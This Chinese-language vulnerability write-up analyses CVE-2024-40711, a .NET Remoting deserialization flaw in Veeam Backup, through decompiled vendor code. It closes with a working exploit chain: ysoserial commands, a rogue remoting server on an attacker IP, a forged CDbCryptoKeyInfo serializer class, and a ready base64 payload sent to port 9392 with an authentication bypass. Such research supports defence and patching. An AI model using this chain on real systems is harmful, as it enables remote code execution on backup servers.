【.Net Remoting 系列三】Veeam Backup .Net Remoting RCE (CVE-2024-40711)
完整分析案例,首发于https://forum.butian.net/share/4000
前置知识
https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html https://github.com/codewhitesec/RogueRemotingServer
Remoting代码逻辑分析
按照之前的思路:
- 注册的Channel类型(全局搜ChannelServices#RegisterChannelInternal)
- sinkProviderChains
- TypeFilterLevel
- 注册的objecturi(全局搜RemotingConfiguration#RegisterWellKnownServiceType或RemotingServices#Marshal)
- 处理消息逻辑(
IServerChannelSink#ProcessMessage
的实现)
首先定位到Veeam.Common.Remoting.dll文件发现有TransportSink和FormatterSink相关的类,但是并没有自定义的ServerChannel,搜索ChannelServices#RegisterChannelInternal
的调用找到注册ServerChannel的地方:
挨个看过去只有CSrvTcpChannelRegistration类注册了一个tcpServerChannel,具体调用代码如下:
private static TcpServerChannel RegisterChannel(Dictionary<string, string> channelProperties, IServerChannelSinkProvider sinkProvider, CConnectionInterceptor connectionInterceptor)
{
TcpServerChannel tcpServerChannel = new TcpServerChannel(channelProperties, sinkProvider, connectionInterceptor);
// 开启认证
tcpServerChannel.IsSecured = true;
ChannelServices.RegisterChannel(tcpServerChannel, true);
CSrvTcpChannelRegistration.LogChannelData(tcpServerChannel);
return tcpServerChannel;
}
注意这里TcpServerChannel传入的有第三个参数CConnectionInterceptor,这里放到后面再说,我们先梳理sinkProviderChains。 继续查找调用寻找sinkProvider定义的地方:
//其构造函数
private CSrvTcpChannelRegistration(string commonChannelName, int port, IReadOnlyDictionary<string, string> channelProperties, bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
{
this._commonChannelName = commonChannelName;
this._port = port;
//调用GetSinkProvider方法
IServerChannelSinkProvider sinkProvider = CSrvTcpChannelRegistration.GetSinkProvider(enableRemotingPerfLog, requireBasicPermission, monitor, impersonation, accessCheckerProvider, mfaProvider);
CConnectionInterceptor cconnectionInterceptor = new CConnectionInterceptor();
if (Socket.OSSupportsIPv4)
{
TcpServerChannel tcpServerChannel = CSrvTcpChannelRegistration.RegisterChannel(CSrvTcpChannelRegistration.CreateIPv4BindingConfiguration(commonChannelName, channelProperties), sinkProvider, cconnectionInterceptor);
this._channelIPv4Name = tcpServerChannel.ChannelName;
}
......
}
跟进GetSinkProvider方法
private static IServerChannelSinkProvider GetSinkProvider(bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
{
IServerChannelSinkProvider serverChannelSinkProvider = new CBinaryServerFormatterSinkProvider(enableRemotingPerfLog, requireBasicPermission, accessCheckerProvider, mfaProvider);
if (monitor != null)
{
serverChannelSinkProvider = new CActivityMonitorServerSinkProvider(monitor, serverChannelSinkProvider);
}
if (impersonation != null)
{
serverChannelSinkProvider = new CImpersonationServerSinkProvider(impersonation, serverChannelSinkProvider);
}
return serverChannelSinkProvider;
}
这里使用的是CBinaryServerFormatterSink作为FormatterSink,TransportSink使用的默认TcpServerTransportSink,整个服务端的sinkProviderChains:TcpServerTransportSink → CBinaryServerFormatterSink → DispatchChannelSink
同时CBinaryServerFormatterSink中定义了TypeFilterLevel.Low
追溯到启动类发现监听的端口为9392,服务名为Veeam.Backup.Service.exe
(tcp://IP:9392/VeeamClientUpdateService )。
最后找到对应的ProcessMessage方法梳理处理消息的逻辑,主要代码如下:
public ServerProcessing ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, out IMessage responseMsg, out ITransportHeaders responseHeaders, out Stream responseStream)
{
ServerProcessing serverProcessing;
using (LogRegistration.RegisterSafe(this._logStorage))
{
......
string text = (string)requestHeaders["Content-Type"];
string text2 = (string)requestHeaders["__RequestVerb"];
......
//部分省略
requestMsg = CBinaryServerFormatterSink.DeserializeBinaryRequestMessage(requestStream, requestHeaders);
if (requestMsg == null)
{
throw new RemotingException("Remoting Deserialize Error");
}
IMethodMessage methodMessage = requestMsg as IMethodMessage;
if (methodMessage != null)
{
string text3 = requestHeaders["access_token"] as string;
Dictionary<string, object> dictionary;
EJwtValidationResult ejwtValidationResult = this._mfaProvider.ValidateToken(text3, out dictionary);
if (ejwtValidationResult == EJwtValidationResult.Empty || ejwtValidationResult == EJwtValidationResult.Invalid)
{
this.EnsureMfa(requestHeaders);
}
this.EnsureAccessIsAllowed(methodMessage);
}
sinkStack.Push(this, null);
ServerProcessing serverProcessing2 = this.CallNextSink(sinkStack, requestMsg, requestHeaders, null, out responseMsg, out responseHeaders, out responseStream);
if (responseStream != null)
{
throw new RemotingException("Remoting_ChnlSink_WantNullResponseStream");
}
switch (serverProcessing2)
{
case ServerProcessing.Complete:
if (responseMsg == null)
{
throw new RemotingException("Remoting_DispatchMessage");
}
sinkStack.Pop(this);
this.AddSessionToken(requestHeaders, ref responseHeaders);
CBinaryServerFormatterSink.SerializeResponse(sinkStack, responseMsg, ref responseHeaders, out responseStream);
this.AdditionalyLogResponse(responseMsg);
......
}
}
}
return serverProcessing;
}
调用DeserializeBinaryRequestMessage方法执行反序列化的操作,也是整个过程中最关键的,实现如下
//Veeam.Common.Remoting.CBinaryServerFormatterSink#DeserializeBinaryRequestMessage
private static IMessage DeserializeBinaryRequestMessage(Stream requestStream, ITransportHeaders requestHeaders)
{
IMessage message;
try
{
message = (IMessage)CBinaryServerFormatterSink.CreateFormatter(false).DeserializeMethodResponse(requestStream, new HeaderHandler(new CBinaryServerFormatterSink.UriHeaderHandler(requestHeaders).HeaderHandler), null);
}
finally
{
requestStream.Close();
}
return message;
}
//Veeam.Common.Remoting.CBinaryServerFormatterSink#CreateFormatter
private static BinaryFormatter CreateFormatter(bool serializingResponse)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Binder = new RestrictedSerializationBinder(serializingResponse, RestrictedSerializationBinder.Modes.FilterByWhitelist);
binaryFormatter.Context = new StreamingContext(StreamingContextStates.Other);
binaryFormatter.FilterLevel = TypeFilterLevel.Low;
binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Full;
if (!serializingResponse)
{
binaryFormatter.SurrogateSelector = new CDataSerializationSurogate();
}
else
{
ISurrogateSelector surrogateSelector = new RemotingSurrogateSelector();
surrogateSelector.ChainSelector(new CDataSerializationSurogate());
binaryFormatter.SurrogateSelector = surrogateSelector;
}
return binaryFormatter;
}
这儿有两点需要注意:
- 定义了RestrictedSerializationBinder设置反序列化白名单或黑名单
- 定义了CDataSerializationSurogate作为formatter的序列化或反序列化处理
首先看RestrictedSerializationBinder是如何防御的,关注ResolveType方法和BindToType方法,如果仅仅使用CustomSerializationBinder是可以绕的,数据流:CustomSerializationBinder#BindToType-->RestrictedSerializationBinder#ResolveType-->RestrictedSerializationBinder#EnsureTypeIsAllowed
关键代码如下:
// Veeam.Backup.Common.CustomSerializationBinder
public class CustomSerializationBinder : SerializationBinder
{
public override Type BindToType(string assemblyName, string typeName)
{
return CustomSerializationBinder.TypeCache.GetOrAdd(new ValueTuple<string, string>(assemblyName, typeName), new Func<ValueTuple<string, string>, Type>(this.ResolveType));
}
protected virtual Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
{
return SBinderHelper.ResolveType(key);
}
// Veeam.Backup.Common.RestrictedSerializationBinder
public sealed class RestrictedSerializationBinder : CustomSerializationBinder
{
public RestrictedSerializationBinder(bool serializingResponse, RestrictedSerializationBinder.Modes mode = RestrictedSerializationBinder.Modes.FilterByWhitelist)
{
this._serializingResponse = serializingResponse;
this._mode = mode;
}
......
protected override Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
{
this.EnsureTypeIsAllowed(key);
Type type = base.ResolveType(key);
RestrictedSerializationBinder.CheckIsRestrictedType(type);
return type;
}
private void EnsureTypeIsAllowed([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
{
if (!this._serializingResponse && SOptions.Instance.ShouldWhitelistingRemoting)
{
this.EnsuredBlackWhitelistsAreLoaded();
string text = key.Item2 + ", " + key.Item1;
if (this._mode == RestrictedSerializationBinder.Modes.FilterByWhitelist)
{
RestrictedSerializationBinder._allowedTypeFullnames.EnsureIsAllowed(text);
return;
}
if (this._mode == RestrictedSerializationBinder.Modes.FilterByBlacklist)
{
RestrictedSerializationBinder._notAllowedTypeFullnames.EnsureIsAllowed(text);
}
}
}
RestrictedSerializationBinder根据传入的mode参数决定使用白名单或黑名单模式,整个Remoting处理用的是白名单模式,这儿并不是先白名单后黑名单校验,而是二选一于是有了可乘之机。
漏洞分析
一共五处调用最终找到一处调用使用的是黑名单模式
代码如下:
// Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize
public static T Deserialize<T>(string input)
{
T t;
try
{
byte[] array = Convert.FromBase64String(input);
BinaryFormatter binaryFormatter = new BinaryFormatter
{
Binder = new RestrictedSerializationBinder(false, RestrictedSerializationBinder.Modes.FilterByBlacklist)
};
t = CProxyBinaryFormatter.BinaryDeserializeObject<T>(array, binaryFormatter);
}
妥妥的反序列化,老外通过对比补丁新增了一个ObjRef
的链,该链子在反序列化的过程中只会反序列化System.Runtime.Remoting.ObjRef
和System.Exception
,执行命令时不会触发其他黑名单。
可以将Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize
作为一个跳板,找到一处调用该方法并处于白名单中的类,就能实现RCE。刚好最后老外从白名单找到一个调用该方法的类
// Veeam.Backup.Model.CDbCryptoKeyInfo
private readonly List<CRepairRec> _repairRecs = new List<CRepairRec>();
protected CDbCryptoKeyInfo(SerializationInfo info, StreamingContext context)
{
this.Id = (Guid)info.GetValue("Id", typeof(Guid));
byte[] array = (byte[])info.GetValue("KeySetId", typeof(byte[]));
this.KeySetId = new CKeySetId(array);
this.KeyType = (EDbCryptoKeyType)((int)info.GetValue("KeyType", typeof(int)));
this.EncryptedKeyValue = Convert.FromBase64String(info.GetString("DecryptedKeyValue"));
this.Hint = info.GetString("Hint");
this.ModificationDateUtc = info.GetDateTime("ModificationDateUtc").SpecifyDateTimeUtc();
this.CryptoAlg = (ECryptoAlg)info.GetInt32("CryptoAlg");
this._repairRecs = CProxyBinaryFormatter.Deserialize<CRepairRec>((string[])info.GetValue("RepairRecs", typeof(string[]))).ToList<CRepairRec>();
this.Version = info.GetInt64("Version");
this.BackupId = (Guid)info.GetValue("BackupId", typeof(Guid));
this.IsImported = info.GetBoolean("IsImported");
}
总结下:
- 无需自定义Channel(TcpServerChannel)
- 开启了认证(CConnectionInterceptor)、low type filter
- 存在一个URI为tcp://IP:9392/VeeamClientUpdateService
- 整个利用链.Net Remoting –> CDbCryptoKeyInfo( 白名单 ) –> CProxyBinaryFormatter.Deserialize ( 黑名单objref )–> RCE
EXP构造
需要用到ExploitRemotingService,有点小改动我编译之后放到这儿了。这儿的改动其实就是绕过其认证的,将用户密码置空就能绕过,CConnectionInterceptor类实际上未处理只是返回true。 然后构造ObjRef
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c calc > exploit.soapformatter
RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0:2345/aaa exploit.soapformatter
ysoserial.exe -g ObjRef -f BinaryFormatter -c http://10.106.24.105:2345/aaa
// 最终生成AAEAAAD/////AQAAAAAAAAAEAQAAABBTeXN0ZW0uRXhjZXB0aW9uAQAAAAlDbGFzc05hbWUDHlN5c3RlbS5SdW50aW1lLlJlbW90aW5nLk9ialJlZgkCAAAABAIAAAAeU3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuT2JqUmVmAQAAAAN1cmwBBgMAAAAdaHR0cDovLzEwLjEwNi4yNC4xMDU6MjM0NS9hYWEL
重定义CDbCryptoKeyInfo序列化过程,传入上面生成的poc序列化:
[Serializable]
public class CDbCryptoKeyInfoWrapper : ISerializable
{
private string[] _fakeList;
public CDbCryptoKeyInfoWrapper(string[] _fakeList)
{
this._fakeList = _fakeList;
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(CDbCryptoKeyInfo));
info.AddValue("Id", Guid.NewGuid());
info.AddValue("KeySetId", null);
info.AddValue("KeyType", 1);
info.AddValue("Hint", "aaaaa");
info.AddValue("DecryptedKeyValue", "AAAA");
info.AddValue("LocaleLCID", 0x409);
info.AddValue("ModificationDateUtc", new DateTime());
info.AddValue("CryptoAlg", 1);
info.AddValue("RepairRecs", _fakeList);
}
}
传入生成的CDbCryptoKeyInfo序列化数据,再通过ExploitRemotingService发送POC
ExploitRemotingService.exe -s tcp://192.168.45.144:9392/VeeamClientUpdateService raw AAEAAAD/////AQAAAAAAAAAMAgAAAFZWZWVhbS5CYWNrdXAuTW9kZWwsIFZlcnNpb249MTIuMS4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YmZkNjg0ZGUyMjc2NzgzYQUBAAAAI1ZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcnlwdG9LZXlJbmZvCQAAAAJJZAhLZXlTZXRJZAdLZXlUeXBlBEhpbnQRRGVjcnlwdGVkS2V5VmFsdWUKTG9jYWxlTENJRBNNb2RpZmljYXRpb25EYXRlVXRjCUNyeXB0b0FsZwpSZXBhaXJSZWNzAwIAAQEAAAAGC1N5c3RlbS5HdWlkCAgNCAIAAAAE/f///wtTeXN0ZW0uR3VpZAsAAAACX2ECX2ICX2MCX2QCX2UCX2YCX2cCX2gCX2kCX2oCX2sAAAAAAAAAAAAAAAgHBwICAgICAgIC1f56MNPo3kO39y2SXeUREAoBAAAABgQAAAAFYWFhYWEGBQAAAARBQUFBCQQAAAAAAAAAAAAAAQAAAAkGAAAAEQYAAAABAAAABgcAAADkAUFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBQkJUZVhOMFpXMHVSWGhqWlhCMGFXOXVBUUFBQUFsRGJHRnpjMDVoYldVREhsTjVjM1JsYlM1U2RXNTBhVzFsTGxKbGJXOTBhVzVuTGs5aWFsSmxaZ2tDQUFBQUJBSUFBQUFlVTNsemRHVnRMbEoxYm5ScGJXVXVVbVZ0YjNScGJtY3VUMkpxVW1WbUFRQUFBQU4xY213QkJnTUFBQUFkYUhSMGNEb3ZMekV3TGpFd05pNHlOQzR4TURVNk1qTTBOUzloWVdFTAs=
总结
当TypeFilterLevel.Low
时,可以尝试反序列化其他符合条件的对象进而触发一些恶意方法实现RCE。
参考
https://github.com/codewhitesec/RogueRemotingServer https://github.com/tyranid/ExploitRemotingService https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/